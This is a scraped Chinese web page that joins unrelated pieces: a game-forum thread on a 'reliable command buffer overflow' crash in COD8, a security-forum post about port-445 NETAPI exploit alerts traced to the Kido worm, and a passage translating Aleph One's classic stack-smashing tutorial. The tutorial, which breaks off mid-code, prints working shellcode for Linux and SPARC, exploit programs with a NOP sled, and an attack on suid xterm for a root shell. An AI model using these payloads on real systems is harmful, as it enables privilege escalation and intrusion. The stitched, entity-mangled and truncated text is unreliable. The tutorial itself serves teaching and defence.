buffer overflow属性怎么解决

后使用快捷导航没有帐号?
只需一步,快速开始
查看: 9668|回复: 4
最后登录贡献度11 金元144 银行存款0 注册时间阅读权限30帖子主题精华0积分58UID3920503
中级玩家, 积分 58, 距离下一级还需 142 积分
贡献度11 金元144 注册时间积分58精华0帖子
本帖最后由 师头 于
18:33 编辑
cod8单机破解了,吾等D版党马上开搞。
下面说正题,在ACTII的第一关,有个bug,我看好多童鞋都遇到了,从坦克里出来以后,在街上进攻的时候会出现灰绿色的错误提示。
下面的图片都是手机拍的,截图截不了,勉强看看吧
14:00 上传
这个地点有两条路可以选 从外面的街道上进攻(直走) 或者从右边的房子里面攻过去(左边的窗户)
13:54 上传
从街上走的时候 跟着npc 当npc往那个破窗户里跑的时候 就会出错。
13:55 上传
13:55 上传
npc大叔往窗户跑了
解决办法是出了停车场以后 直接从右边破开的窗户进入到右边的屋子 npc会跟进来 然后从屋内进攻 就不会出错。
通关鸟,说实话,单机剧情cod8绝对比bf3好太多了。
不过因为用的还是老的引擎,画面实在说不上出色,所以对配置要求也不高,大家一起玩玩吧。
最后登录贡献度7 金元1579 银行存款0 注册时间阅读权限30帖子主题精华0积分186UID2749026
中级玩家, 积分 186, 距离下一级还需 14 积分
贡献度7 金元1579 注册时间积分186精华0帖子
我试试看,谢谢
最后登录贡献度0 金元120 银行存款0 注册时间阅读权限15帖子主题精华0积分12UID3123731
新手玩家, 积分 12, 距离下一级还需 -2 积分
贡献度0 金元120 注册时间积分12精华0帖子
真是蛋疼……bug
最后登录贡献度1 金元471 银行存款0 注册时间阅读权限30帖子主题精华0积分51UID2941076
中级玩家, 积分 51, 距离下一级还需 149 积分
贡献度1 金元471 注册时间积分51精华0帖子
谢谢楼主解决问题啊~~~
最后登录贡献度13 金元1318 银行存款0 注册时间阅读权限30帖子主题精华0积分184UID3337640
中级玩家, 积分 184, 距离下一级还需 16 积分
贡献度13 金元1318 注册时间积分184精华0帖子
最新的补丁有没有修复这个BUG?
Powered by查看: 143094|回复: 5
老问题Intrusion.Win.NETAPI.buffer-overflow.exploit攻击!
该用户从未签到
看了本论坛的帖子,补丁打完了还是出现这问题!补丁是用360补的,请工程师指点指点!!谢谢
时间 攻击描述 源 协议 本地端口
---- -------- -- ---- --------
11:22:39 Intrusion.Win.NETAPI.buffer-overflow.exploit 192.168.3.11 TCP 445
11:27:14 Intrusion.Win.NETAPI.buffer-overflow.exploit 192.168.3.63 TCP 445
[ 本帖最后由 378号工程师 于
17:25 编辑 ]
TA的每日心情擦汗 14:16签到天数: 1 天[LV.1]初来乍到
尊敬的用户:
& & 您好,请您参考下面链接4楼帖子363号工程师的回复
该用户从未签到
扫描和补丁都上了,还是出现这问题
该用户从未签到
局域网内的其他机器都大全了补丁吗?看IP似乎是局域网内的呀。
445端口,还是比较危险的,建议关闭
该用户从未签到
该用户从未签到
问题基本解决了!!!是中“net-worm.win32.kido.it”这病毒下载KidoKiller_v3.1专杀工具就基本能解决!!& reliable command buffer overflow怎么回事
查看: 3409|回复: 6
UID515501主题阅读权限30帖子精华0积分483金钱2074 荣誉0 人气0 在线时间393 小时评议0
Lv.3游侠中级会员, 积分 483, 距离下一级还需 17 积分
帖子精华0积分483金钱2074 荣誉0 人气0 评议0
就是和**一起打苏联人
乌克兰核弹头Andriy Shevchenko
UID4736560主题阅读权限20帖子精华0积分12金钱279 荣誉0 人气0 在线时间53 小时评议0
Lv.2游侠会员, 积分 12, 距离下一级还需 188 积分
帖子精华0积分12金钱279 荣誉0 人气0 评议0
注意走边上的窗口往前就行了。&&千万别跟着坦克在大街上。
UID537137主题阅读权限50帖子精华0积分1005金钱3675 荣誉0 人气0 在线时间860 小时评议0
Lv.5游侠白银会员, 积分 1005, 距离下一级还需 995 积分
帖子精华0积分1005金钱3675 荣誉0 人气0 评议0
3Q~很有用!!!!!!!!!!!!!!!!!!!
UID3748414主题阅读权限20帖子精华0积分121金钱399 荣誉0 人气0 在线时间113 小时评议0
Lv.2游侠会员, 积分 121, 距离下一级还需 79 积分
帖子精华0积分121金钱399 荣誉0 人气0 评议0
显存不够?{:0:}
UID504940主题阅读权限20帖子精华0积分57金钱790 荣誉0 人气0 在线时间172 小时评议0
Lv.2游侠会员, 积分 57, 距离下一级还需 143 积分
帖子精华0积分57金钱790 荣誉0 人气0 评议0
我也是这样,没法继续往下玩了,到这里就出这个,然后就退出到主界面
UID4245050主题阅读权限20帖子精华0积分22金钱360 荣誉0 人气0 在线时间84 小时评议0
Lv.2游侠会员, 积分 22, 距离下一级还需 178 积分
帖子精华0积分22金钱360 荣誉0 人气0 评议0
更新完任务后,直接进入右边的房子里,把ELS人整完后就不会报错了
UID1628840主题阅读权限60帖子精华0积分2944金钱5668 荣誉1 人气9 在线时间2456 小时评议0
Lv.6游侠黄金会员, 积分 2944, 距离下一级还需 3056 积分
帖子精华0积分2944金钱5668 荣誉1 人气9 评议0
我也遇到了
根据2楼的办法,走大街右边的房间,别走大街,顺利过关。
穷啊,求组团打劫银行
Powered by进去玩了一会突然出现了Reliable command buffer overflow就完不成应该怎么办
如果出现reliable command buffer overflow 是游戏自身的问题,游戏中进右手边房子 别跟坦克
大小:14.1G
请先输入你要提问的游戏名称:
问题标题(一句话简要说明):
问题标题只可以输入40个汉字
问题补充说明(可选):2593人阅读
可能是唯一一篇gb的写overflow的文章,好像译至aleph1的那篇文章 zer9提到后我才想起来把他贴上来,呵呵 Buffer&Overflow&机理剖析 使用Buffer&Overflow&方法来入侵目的主机是黑客们经常采用的一种手段,本文将几篇介绍其机理的文章作了一些加工整理,&对它的机理作出了由浅入深的剖析. 本文分为下面几个部分,&朋友们可以按照自己的兴趣选择不同的章节: 关于堆栈的基础知识 Buffer&Overflow&的原理 Shell&Code&的编写 实际运用中遇到的问题 附录 -------------------------------------------------------------------------------- 1.&关于堆栈的基础知识 &&&&&&&一个应用程序在运行时,它在内存中的映像可以分为三个部分:&代码段&,&数据段和堆栈段(参见下图).&代码段对应与运行文件中的&Text&Section&,其中包括运行代码和只读数据,&这个段在内存中一般被标记为只读&,&任何企图修改这个段中数据的指令将引发一个&Segmentation&Violation&错误.&数据段对应与运行文件中的&Data&Section&和&BSS&Section&,其中存放的是各种数据(经过初始化的和未经初始化的)和静态变量.& &&&&下面我们将详细介绍一下堆栈段. |--------| 虚存低端 |        | |  代码段   | |        | |--------| |        | |  数据段   | |        | |--------| |        | |  堆栈段   | |        | |--------| 虚存高端 堆栈是什么? &&&&&如果你学过&&数据结构&&这门课的话,&就会知道堆栈是一种计算机中经常用到的抽象数据类型.&作用于堆栈上的操作主要有两个:&Push&和&Pop&,&既压入和弹出.&堆栈的特点是LIFO(Last&in&,&First&out),&既最后压入堆栈的对象最先被弹出堆栈.& 堆栈段的作用是什么? &&&&&现在大部分程序员都是在用高级语言进行模块化编程,&在这些应用程序中,不可避免地会出现各种函数调用,&比如调用C&运行库,Win32&API&等等.&这些调用大部分都被编译器编译为Call语句.&当CPU&在执行这条指令时,&除了将IP变为调用函数的入口点以外,&还要将调用后的返回地址放入堆栈.&这些函数调用往往还带有不同数量的入口参数和局部变量,&在这种情况下,编译器往往会生成一些指令将这些数据也存入堆栈(有些也可通过寄存器传递).& 我们将一个函数调用在堆栈中存放的这些数据和返回地址称为一个栈帧(Stack&Frame). 栈帧的结构:   下面我们通过一个简单的例子来分析一下栈帧的结构. void&proc(int&i) {&  int&  local=i; } void&main() {  proc(1); } 这段代码经过编译器后编译为:(以PC为例) main:push 1    call &proc    ... proc:push ebp    mov ebp,esp    sub esp,4    mov eax,[ebp+08]    mov [ebp-4],eax    add esp,4    pop ebp    ret 4 下面我们分析一下这段代码. main:push&1    call&proc 首先,&将调用要用到的参数1压入堆栈,然后call&proc proc:push&ebp    mov&ebp,esp 我们知道esp指向堆栈的顶端,在函数调用时,各个参数和局部变量在堆栈中的位置只和esp有关系,如可通过[esp+4]存取参数1.&但随着程序的运行,堆栈中放入了新的数据,esp也随之变化,这时就不能在通过[esp+4]来存取1了.&因此,&为了便于参数和变量的存取,&编译器又引入了一个基址寄存器ebp,&首先将ebp的原值存入堆栈,然后将esp的值赋给ebp,这样以后就可以一直使用[ebp+8]来存取参数1了.    sub&esp,4 将esp减4,留出一个int的位置给局部变量&local&使用,&local可通过[ebp-4]来存取    mov eax,[ebp+08]    mov&[ebp-4],eax 就是&local=i;    add&esp,4    pop&ebp    ret&4 首先esp加4,收回局部变量的空间,然后pop&ebp,&恢复ebp原值,最后&ret&4,从堆栈中取得返回地址,将EIP改为这个地址,并且将esp加4,收回参数所占的空间. 不难看出,这个程序在执行proc过程时,栈帧的结构如下:  4    4    4    4 [local] [ebp] [ret地址] [参数1] 内存高端 |    | esp(栈顶)ebp 因此,我们可以总结出一般栈帧的结构: ..[local1][local2]..[localn][ebp][ret地址][参数1][参数2]..[参数n] |                | esp(栈顶)            ebp 了解了栈帧的结构以后,现在我们可以来看一下&Buffer&overflow&的机理了. -------------------------------------------------------------------------------- 2.&Buffer&Overflow&的机理 我们先举一个例子说明一下什么是&Buffer&Overflow&: void&function(char&*str) {   char&buffer[16];   strcpy(buffer,str); } void&main() {   char&large_string[256];   int&i;   for(&i&=&0;&i&& 255; i++)   large_string[i] = 'A';   function(large_string); } 这段程序中就存在 Buffer Overflow 的问题. 我们可以看到, 传递给function的字符串长度要比buffer大很多,而function没有经过任何长度校验直接用strcpy将长字符串拷入buffer. 如果你执行这个程序的话,系统会报告一个 SegmentationViolation 错误.下面我们就来分析一下为什么会这样? 首先我们看一下未执行strcpy时堆栈中的情况:    16   4   4     4 ...[buffer] [ebp] [ret地址] [large_string地址] |      | esp     ebp 当执行strcpy时, 程序将256 Bytes拷入buffer中,但是buffer只能容纳16 Bytes,那么这时会发生什么情况呢? 因为C语言并不进行边界检查, 所以结果是buffer后面的250字节的内容也被覆盖掉了,这其中自然也包括ebp, ret地址 ,large_string地址.因为此时ret地址变成了0xh ,所以当过程结束返回时,它将返回到0xh地址处继续执行,但由于这个地址并不在程序实际使用的虚存空间范围内,所以系统会报Segmentation Violation. 从上面的例子中不难看出,我们可以通过Buffer Overflow来改变在堆栈中存放的过程返回地址,从而改变整个程序的流程,使它转向任何我们想要它去的地方.这就为黑客们提供了可乘之机, 最常见的方法是: 在长字符串中嵌入一段代码,并将过程的返回地址覆盖为这段代码的地址, 这样当过程返回时,程序就转而开始执行这段我们自编的代码了. 一般来说,这段代码都是执行一个Shell程序(如/bin/sh),因为这样的话,当我们入侵一个带有Buffer Overflow缺陷且具有suid-root属性的程序时,我们会获得一个具有root权限的shell,在这个shell中我们可以干任何事. 因此, 这段代码一般被称为Shell Code. 下面我们就来看一下如何编写Shell Code. -------------------------------------------------------------------------------- 3. Shell Code 的编写 下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明) void main() {   char *name[2];   name[0] = "/bin/sh";   name[1] = NULL;   execve(name[0], name, NULL); } 我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.)------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it unde type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 &main&:&pushl&%ebp 0x8000131&&main+1&:&movl&%esp,%ebp 0x8000133&&main+3&:&subl&$0x8,%esp 0x8000136&&main+6&:&movl&$0xxfffffff8(%ebp) 0x800013d&&main+13&:&movl&$0x0,0xfffffffc(%ebp) 0x8000144&&main+20&:&pushl&$0x0 0x8000146&&main+22&:&leal&0xfffffff8(%ebp),%eax 0x8000149&&main+25&:&pushl&%eax 0x800014a&&main+26&:&movl&0xfffffff8(%ebp),%eax 0x800014d&&main+29&:&pushl&%eax 0x800014e&&main+30&:&call&0x80002bc&&__execve& 0x8000153&&main+35&:&addl&$0xc,%esp 0x8000156&&main+38&:&movl&%ebp,%esp 0x8000158&&main+40&:&popl&%ebp 0x8000159&&main+41&:&ret End&of&assembler&dump. (gdb)&disassemble&__execve Dump&of&assembler&code&for&function&__execve: 0x80002bc&&__execve&:&pushl&%ebp 0x80002bd&&__execve+1&:&movl&%esp,%ebp 0x80002bf&&__execve+3&:&pushl&%ebx 0x80002c0&&__execve+4&:&movl&$0xb,%eax 0x80002c5&&__execve+9&:&movl&0x8(%ebp),%ebx 0x80002c8&&__execve+12&:&movl&0xc(%ebp),%ecx 0x80002cb&&__execve+15&:&movl&0x10(%ebp),%edx 0x80002ce&&__execve+18&:&int&$0x80 0x80002d0&&__execve+20&:&movl&%eax,%edx 0x80002d2&&__execve+22&:&testl&%edx,%edx 0x80002d4&&__execve+24&:&jnl&0x80002e6&&__execve+42& 0x80002d6&&__execve+26&:&negl&%edx 0x80002d8&&__execve+28&:&pushl&%edx 0x80002d9&&__execve+29&:&call&0x8001a34&&__normal_errno_location& 0x80002de&&__execve+34&:&popl&%edx 0x80002df&&__execve+35&:&movl&%edx,(%eax) 0x80002e1&&__execve+37&:&movl&$0xffffffff,%eax 0x80002e6&&__execve+42&:&popl&%ebx 0x80002e7&&__execve+43&:&movl&%ebp,%esp 0x80002e9&&__execve+45&:&popl&%ebp 0x80002ea&&__execve+46&:&ret 0x80002eb&&__execve+47&:&nop End&of&assembler&dump. ------------------------------------------------------------------------------ 下面我们来首先来分析一下main代码中每条语句的作用: 0x8000130&&main&:&pushl&%ebp 0x8000131&&main+1&:&movl&%esp,%ebp 0x8000133&&main+3&:&subl&$0x8,%esp 这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为: char&*name[2]; 也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了&8&个字节的位置. 0x8000136&&main+6&:&movl&$0xxfffffff8(%ebp) 这里,&将字符串"/bin/sh"的地址放入name[0]的内存单元中,&也就是相当于&:& name[0]&=&"/bin/sh"; 0x800013d&&main+13&:&movl&$0x0,0xfffffffc(%ebp) 将NULL放入name[1]的内存单元中,&也就是相当于: name[1]&=&NULL; 对execve()的调用从下面开始: 0x8000144&&main+20&:&pushl&$0x0 开始将参数以逆序压入堆栈,&第一个是NULL. 0x8000146&&main+22&:&leal&0xfffffff8(%ebp),%eax 0x8000149&&main+25&:&pushl&%eax 将name[]的起始地址压入堆栈 0x800014a&&main+26&:&movl&0xfffffff8(%ebp),%eax 0x800014d&&main+29&:&pushl&%eax 将字符串"/bin/sh"的地址压入堆栈 0x800014e&&main+30&:&call&0x80002bc&&__execve& 调用execve()&.&call&指令首先将&EIP&压入堆栈 ------------------------------------------------------------------------------------ 现在我们再来看一下execve()的代码.&首先要注意的是,&不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同.&有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈. 我们的这个例子是在基于Intel&X86的Linux上运行的.所以我们首先应该知道Linux中,系统调用以软中断的方式产生(&INT&80h),参数是通过寄存器传递给系统的. 0x80002bc&&__execve&:& pushl&%ebp 0x80002bd&&__execve+1&:&movl&%esp,%ebp 0x80002bf&&__execve+3&:&pushl&%ebx 同样的入口处理 0x80002c0&&__execve+4&:&movl&$0xb,%eax 将0xb(11)赋给eax&,&这是execve()在系统中的索引号. 0x80002c5&&__execve+9&:&movl&0x8(%ebp),%ebx 将字符串"/bin/sh"的地址赋给ebx 0x80002c8&&__execve+12&:&movl&0xc(%ebp),%ecx 将name[]的地址赋给ecx 0x80002cb&&__execve+15&:&movl&0x10(%ebp),%edx 将NULL的地址赋给edx 0x80002ce&&__execve+18&:&int&$0x80 产生系统调用,进入核心态运行. ------------------------------------------------------------------------------------ 看了上面的代码,现在我们可以把它精简为下面的汇编语言程序: leal&string,string_addr movl&$0x0,null_addr movl&$0xb,%eax movl&string_addr,%ebx leal&string_addr,%ecx leal&null_string,%edx int&&&$0x80 (我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式) string db "/bin/sh",0 string_addr dd 0 null_addr  dd 0 ------------------------------------------------------------------------------------- 但是这段代码中还存在着一个问题&,就是我们在编写ShellCode时并不知道这段程序执行时在内存中所处的位置,所以像: movl&string_addr,%ebx 这种需要将绝对地址编码进机器语言的指令根本就没法使用. 解决这个问题的一个办法就是使用一条额外的JMP和CALL指令.&因为这两条指令编码使用的都是&相对于IP的偏移地址而不是绝对地址,&所以我们可以在ShellCode的最开始加入一条JMP指令,&在string前加入一条CALL指令.&只要我们计算好程序编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr. ------------------------------------------------------------------------------ 经过上面的修改,我们的ShellCode变成了下面的样子: jmp&&0x20 popl&esi movb&$0x0,0x7(%esi) movl&%esi,0x8(%esi) movl&$0x0,0xC(%esi) movl&$0xb,%eax movl&%esi,%ebx leal&0x8(%esi),%ecx leal&0xC(%esi),%edx int&&$0x80 call&-0x25 string&db&"/bin/sh",0& string_addr&dd&0 null_addr& dd&0&#&2&bytes,跳转到CALL #&1&byte,&弹出string地址 #&4&bytes,将string变为以'/0'结尾的字符串& #&7&bytes& #&5&bytes #&2&bytes #&3&bytes #&3&bytes #&2&bytes #&5&bytes,跳转到popl&%esi & ------------------------------------------------------------------------------------ 我们知道C语言中的字符串以'/0'结尾,strcpy等函数遇到'/0'就结束运行.因此为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有'/0'.&下面我们就对它作最后一次改进,去掉其中的'/0': 原指令:          替换为: -------------------------------------------------------- movb $0x0,0x7(%esi)    xorl&%eax,%eax movl $0x0,0xc(%esi)    movb&%eax,0x7(%esi)               &movl&%eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax       movb&$0xb,%al -------------------------------------------------------- OK!&现在我们可以试验一下这段ShellCode了.&首先我们把它封装为C语言的形式. ------------------------------------------------------------------------------ void&main()&{ __asm__(" jmp&0x18      &#&2&bytes popl&%esi      #&1&byte movl&%esi,0x8(%esi) #&3&bytes xorl&%eax,%eax   &#&2&bytes movb&%eax,0x7(%esi) #&3&bytes movl&%eax,0xc(%esi) #&3&bytes movb&$0xb,%al    #&2&bytes movl&%esi,%ebx   &#&2&bytes leal&0x8(%esi),%ecx #&3&bytes leal&0xc(%esi),%edx #&3&bytes int $0x80     &#&2&bytes call&-0x2d     &#&5&bytes .string&/"/bin/sh/" #&8&bytes "); } ------------------------------------------------------------------------------ 经过编译后,用gdb得到这段汇编语言的机器代码为: /xeb/x18/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b /x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xec/xff/xff/xff/bin/sh 现在我们可以写我们的试验程序了: ------------------------------------------------------------------------------ exploit1.c: char&shellcode[]&= "/xeb/x18/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xec/xff/xff/xff/bin/sh";char&large_string[128]; void&main() {  char&buffer[96];  int&&i;  long&*long_ptr&=&(long&*)&large_  for(i=0;i&32;i++) *(long_ptr+i)=(int)  for(i=0;i&strlen(shellcode);i++) large_string[i]=shellcode[i];  strcpy(buffer,large_string); } ------------------------------------------------------------------------------------- 在上面的程序中,我们首先用 buffer 的地址填充large_string[]并将ShellCode放在large_string[]的起始位置,从而保证在BufferOverflow时,返回地址被覆盖为Buffer的地址(也就是ShellCode的入口地址).然后用strcpy将large_string的内容拷入buffer,因为buffer只有96个字节的空间,所以这时就会发生Buffer Overflow. 返回地址被覆盖为ShellCode的入口地址. 当程序执行到main函数的结尾时,它会自动跳转到我们的ShellCode,从而创建出一个新的Shell. 现在我们编译运行一下这个程序: ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------ OK! 可以看到,当执行test时,我们的ShellCode正确地执行并生成了一个新的Shell,这正是我们所希望看到的结果. 但是,这个例子还仅仅是一个试验,下面我们来看一看在实际环境中如何使我们的ShellCode发挥作用. -------------------------------------------------------------------------------- 4. 实际运用中遇到的问题  在上面的例子中,我们成功地攻击了一个我们自己写的有Buffer Overflow缺陷的程序.因为是我们自己的程序,所以在运行时我们很方便地就可以确定出ShellCode的入口绝对地址(也就是Buffer地址),剩下的工作也就仅仅是用这个地址来填充large_string了.  但是当我们试图攻击一个其他程序时,问题就出现了.我们怎么知道运行时Shell Code所处的绝对地址呢? 不知道这个地址, 我们用什么来填充large_string,用什么来覆盖返回地址呢? 不知道用什么来覆盖返回地址,ShellCode如何能得到控制权呢? 而如果得不到控制权,我们也就无法成功地攻击这个程序,那么我们上面所做的所有工作都白费了.由此可以看出,这个问题是我们要解决的一个关键问题.  幸好对于所有程序来说堆栈的起始地址是一样的,而且在拷贝ShellCode之前,堆栈中已经存在的栈帧一般来说并不多,长度大致在一两百到几千字节的范围内.因此,我们可以通过猜测加试验的办法最终找到ShellCode的入口地址.  下面就是一个打印堆栈起始地址的程序: sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) {  __asm__("movl %esp,%eax"); } void main() {  printf("0x%x/n", get_sp()); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------ 上面所说的方法虽然能解决这个问题, 但只要你稍微想一想就知道这个方法并不实用. 因为这个方法要求你在堆栈段中准确地猜中ShellCode的入口,偏差一个字节都不行.如果你运气好的话, 可能只要猜几十次就猜中了,但一般情况是,你必须要猜几百次到几千次才能猜中.而在你能够猜中前,我想大部分人都已经放弃了.所以我们需要一种效率更高的方法来尽量减少我们的试验次数. 一个最简单的方法就是将ShellCode放在large_string的中部,而前面则一律填充为NOP指令(NOP指令是一个任何事都不做的指令,主要用于延时操作,几乎所有CPU都支持NOP指令).这样,只要我们猜的地址落在这个NOP指令串中,那么程序就会一直执行直至执行到ShellCode(如下图).这样一来,我们猜中的概率就大多了(以前必须要猜中ShellCode的入口地址,现在只要猜中NOP指令串中的任何一个地址即可). 低端内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 高端内存栈顶   89ABCDEFAB CDEF  89AB CDEF 栈底      buffer        ebp  ret  a  b   c  &------[NNNNNNNNNNNSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]         ^           |         |___________| 现在我们就可以根据这个方法编写我们的攻击程序了. exploit2.c ------------------------------------------------------------------------------ #include &stdlib.h& #define&DEFAULT_OFFSET&0 #define&DEFAULT_BUFFER_SIZE&512 #define&NOP&0x90 char&shellcode[]&= "/xeb/x18/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xec/xff/xff/xff/bin/sh";unsigned&long&get_sp(void) { &&&&__asm__("movl&%esp,%eax"); } void&main(int&argc,&char&*argv[]) { &&&&char&*buff,&* &&&&long&*addr_ptr,& &&&&int&offset=DEFAULT_OFFSET,&bsize=DEFAULT_BUFFER_SIZE; &&&&int&i; &&&&if&(argc&&&1)&bsize&=&atoi(argv[1]); &&&&if&(argc&&&2)&offset=&atoi(argv[2]); &&&&if&(!(buff&=&malloc(bsize))) &&&&{ &&&&&&&&printf("Can't&allocate&memory./n"); &&&&&&&&exit(0); &&&&} &&&&addr=get_sp()- &&&&printf("Using&address:&0x%x/n",&addr); &&&&ptr= &&&&addr_ptr=(long&*) &&&&for(i=0;i&i+=4) *(addr_ptr++)= // 填充猜测的入口地址 for(i=0;i&bsize/2;i++) buff[i]=NOP; //前半部填充NOP ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i=0;i&strlen(shellcode);i++) *(ptr++)=shellcode[i]; //中间填充Shell Code buff[bsize-1]='/0'; memcpy(buff,"EGG=",4); //将生成的字符串保存再环境变量EGG中. putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ 好,现在我们来试验一下这个程序的效能如何.这次的攻击目标是xterm(所有链接了Xt Library的程序都有此缺陷). 首先确保X Server在运行并且允许本地连接.------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit2 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------ OK! 看来我们的程序确实很好用.如果xterm有suid-root属性,那么这个shell就是一个具有root权限的Shell了. -------------------------------------------------------------------------------- Appendix A - 若干操作系统/平台上的 Shell Code i386/Linux ------------------------------------------------------------------------------ jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string /"/bin/sh/" ------------------------------------------------------------------------------ SPARC/Solaris ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ------------------------------------------------------------------------------ SPARC/SunOS ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 -------------------------------------------------------------------------------- Appendix B - 通用 Buffer Overflow 攻击程序 shellcode.h ------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "/x90"; char shellcode[] = "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd" "/x80/xe8/xdc/xff/xff/xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="/xac/x15/xa1/x6e"; char shellcode[] = "/x2d/x0b/xd8/x9a/xac/x15/xa1/x6e/x2f/x0b/xdc/xda/x90/x0b/x80/x0e" "/x92/x03/xa0/x08/x94/x1a/x80/x0a/x9c/x03/xa0/x10/xec/x3b/xbf/xf0" "/xdc/x23/xbf/xf8/xc0/x23/xbf/xfc/x82/x10/x20/x3b/x91/xd0/x20/x08" "/x90/x1b/xc0/x0f/x82/x10/x20/x01/x91/xd0/x20/x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="/xac/x15/xa1/x6e"; char shellcode[] = "/x2d/x0b/xd8/x9a/xac/x15/xa1/x6e/x2f/x0b/xdc/xda/x90/x0b/x80/x0e" "/x92/x03/xa0/x08/x94/x1a/x80/x0a/x9c/x03/xa0/x10/xec/x3b/xbf/xf0" "/xdc/x23/xbf/xf8/xc0/x23/xbf/xfc/x82/x10/x20/x3b/xaa/x10/x3f/xff" "/x91/xd5/x60/x01/x90/x1b/xc0/x0f/x82/x10/x20/x01/x91/xd5/x60/x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ------------------------------------------------------------------------------ eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include &stdlib.h& #include&&stdio.h& #include&"shellcode.h" #define&DEFAULT_OFFSET&0 #define&DEFAULT_BUFFER_SIZE&512 #define&DEFAULT_EGG_SIZE&2048 void&usage(void); void&main(int&argc,&char&*argv[])&{ char&*ptr,&*bof,&* long&*addr_ptr,& int&offset=DEFAULT_OFFSET,&bsize=DEFAULT_BUFFER_SIZE; int&i,&n,&m,&c,&align=0,&eggsize=DEFAULT_EGG_SIZE; while&((c&=&getopt(argc,&argv,&"a:b:e:o:"))&!=&EOF) switch&(c)&{ case&'a': align&=&atoi(optarg);
case&'b': bsize&=&atoi(optarg);
case&'e': eggsize&=&atoi(optarg);
case&'o': offset&=&atoi(optarg);
